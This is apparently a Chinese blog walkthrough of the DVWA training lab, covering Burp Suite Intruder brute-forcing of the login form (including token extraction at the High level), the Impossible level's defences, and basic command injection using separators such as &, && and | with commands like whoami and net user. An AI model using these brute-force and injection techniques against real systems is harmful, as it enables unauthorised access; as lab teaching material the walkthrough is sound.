Pitchfork:每一个变量标记对应一个字典,取每个字典的对应项。(这个意思就是,每个变量一个字典,破解的时候每个字典的一号对应另一个字典的一号进行破解,这样破解对于那些一一对应的用户名密码来说速度很快,但很明显我们没办法准确的定位用户名和密码,显然不适用于每个情况)

Cluster bomb:每个变量对应一个字典,并且进行交际破解,尝试各种组合,适合于用户名加密码破解。(这种情况就是普罗大众很容易明白理解的情况就是多个字典进行笛卡尔积,依次破解,这种就会有多种组合,时间上也是一个问题,当然对于需要用时很长的,我们可以添加进程,用来适量缩短时间)

选择好攻击模式之后,开始导入字典,burp本身会携带字典,但更多的时候是利用我们自己找的字典进行爆破。

Medium

中级跟low级别基本一致,分析源代码我们发现medium采用了符号转义,一定程度上防止了sql注入,采用暴力破解也可以完成,在此不过多描述。

High

这一关与之前的区别主要在于token

(解释来自于百度) Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。

接下来我们开始闯关,首先进行抓包。

   

抓包之后,发送到intruder.

在这里我们要爆破的内容是密码和token,选中,设置攻击模式。

线程设置为一

 

在grep-extract中点击add,选择refetch response

记住token的值简单来说就是复制,后面要用。

 

然后开始设置负载,对于第一个参数就是密码,我们采用字典爆破,导入字典。(如上图)

第二个参数是token如下图进行设置,在payload option中粘贴token的值

全部设置完成,开始进行爆破。如下图所示,找出不同数字即为最终结果。

 

在render中测试结果,表示爆破成功,进入,至此完成。

Impossible

  分析源代码

 可以看到,impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号15秒,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

参考内容:DVWA通过教程之暴力破解Brute Force_红烧兔纸的博客-CSDN博客

命令注入

什么是命令注入:

命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。

常用到的命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)

ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)A&B(简单的拼接,AB之间无制约关系),A&&B(A执行成功才会执行B),A|B(A的输出作为B的输入),A||B(A执行失败,然后才会执行B)

过程:

Low

首先跟往常一样把要打开的打开。

输入127.0.0.1进行测试,类似于ping命令。

哦莫,出现了乱码,这个时候不要慌,该吃吃该喝喝遇事别往心里搁,听我下面给你说。

找到DVWA中如上所对应的文件,打开,然后把编码形式进行修改,意思就是把utf-8改为gb2312,方便一点直接编辑,替换,记住utf-8是小写,不然找不出来。

改完记得保存,然后再次输入进行测试。

 

OK,看上图,乱码解决了。

接下来继续下一步,输入自己想知道的信息的命令,试一下子。

DVWA XSS (DOM) 通关教程

DVWA XSS (Reflected) 通关教程

DVWA全级别通关教程

DVWA全级别详细通关教程

DVWA CSRF 通关教程

DVWA 1.9 通关秘籍